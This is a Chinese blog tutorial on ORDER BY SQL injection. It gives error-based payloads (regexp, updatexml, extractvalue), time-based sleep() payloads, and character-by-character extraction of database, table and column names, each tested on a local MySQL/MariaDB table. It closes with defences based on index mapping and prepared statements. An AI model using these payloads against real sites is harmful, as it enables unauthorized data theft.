• Order by注入


    Order by注入

    order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];或者通过商品的价格select * from test01 order by [price];

    例如select * from test01 order by [args];

    可以通过下面几个方法测试是否存在注入点:

    利用报错

    可以构造一些报错语句得到相关信息

    regexp

    select 1 regexp if(1=1,1,0x00) #正常显示
    select 1 regexp if(1=2,1,0x00) #出现报错
    
    • 1
    • 2

    这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用

    #10.5.12-MariaDB-1均正常显示
    MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    #mysql5.7.18则会报错
    mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jackk    | 678910 |
    |  4 | jack     | 123456 |
    +----+----------+--------+
    3 rows in set (0.00 sec)
    
    mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    updatexml

    这个就还是可以的

    updatexml(1,if(1=1,1,user()),1) #正常显示
    updatexml(1,if(1=2,1,user()),1) #出现报错
    
    • 1
    • 2

    extractvalue

    这个也是好用的

    extractvalue(1,if(1=1,1,user()),1) #正常显示
    extractvalue(1,if(1=2,1,user()),1) #出现报错
    
    • 1
    • 2

    当报错显示被BAN掉之后可以考虑时间盲注

    利用时间盲注

    注意如果直接if(1=2,1,sleep(2))sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。

    if(1=1,1,sleep(time)) #正常显示
    if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒
    
    • 1
    • 2

    数据猜解

    这一部分的核心跟where注入没有什么区别。

    数据库名猜解

    #mysql5.7.18
    mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    
    mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jackk    | 678910 |
    |  4 | jack     | 123456 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    而我的数据库10.5.12-MariaDB-1则不能使用regexp来进行猜解,所以可以用updexmlextractvalue

    #mysql5.7.18
    MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
    ERROR 1105 (HY000): XPATH syntax error: '@localhost'
    MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。

    猜解表名

    select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
    
    • 1

    猜解列名

    select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
    
    • 1

    原因是下面几个payload在往上版本用NULL代替了报错。

    mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
    +------------------------------------+
    |                                  1 |
    +------------------------------------+
    mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
    +------------------------------------+
    |                               NULL |
    +------------------------------------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    select * from table order by NULLselect * from table order by 1的结果是一样的。

    MariaDB [mysql]> select * from test01 order by NULL;
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    MariaDB [mysql]> select * from test01 order by 1;
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    产生order by的原因

    order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。

    mysql> select * from test01 order by passwd;
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  4 | jack     | 123456 |
    |  2 | jackk    | 678910 |
    +----+----------+--------+
    
    mysql> select * from test01 order by 'passwd';
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jackk    | 678910 |
    |  4 | jack     | 123456 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    可以发现select * from test01 order by 'passwd'并没有按照预期进行排序。

    而在预编译中如果直接在select * from test01 order by ?中用passwd占位会把passwd当成字符串而变成select * from test01 order by 'passwd'

    所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。

    String orderString = "passwd";
    String sql01 = "select * from test01 order by" + orderString;
    PreparedStatement preSql01 = conn.prepareStatement(sql01);
    
    • 1
    • 2
    • 3

    而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。

    防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名

    例如passwd是第3列我们可以用select * from test01 order by 3来替代。

    至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。

    int index = map.get("passwd"); //从map获取对应序号
    String sql02 = "select * from test01 order by ?";
    PreparedStatement preSql02 = conn.prepareStatement(sql02);
    preSql02.setInt(1,index);
    
    • 1
    • 2
    • 3
    • 4
  • 相关阅读:
    刷爆力扣之有效的山脉数组
    LeetCode 面试经典150题 26.删除有序数组中的重复项
    Postman核心功能解析-参数化和测试报告
    uniapp开发微信小程序,webview内嵌h5,h5打开pdf地址,解决方案
    Golang 在 Mac、Linux、Windows 下如何交叉编译
    目标检测中数据处理-1.labelme标注json文件转txt
    引用与指针及数组指针与指针数组的区别实践
    Webpack配置entry修改入口文件或打包多个文件
    LockSupport从入门到深入理解
    【低码】asp.net core 实体类可生产 CRUD 后台管理界面
  • 原文地址:https://blog.csdn.net/qq_40710190/article/details/125551423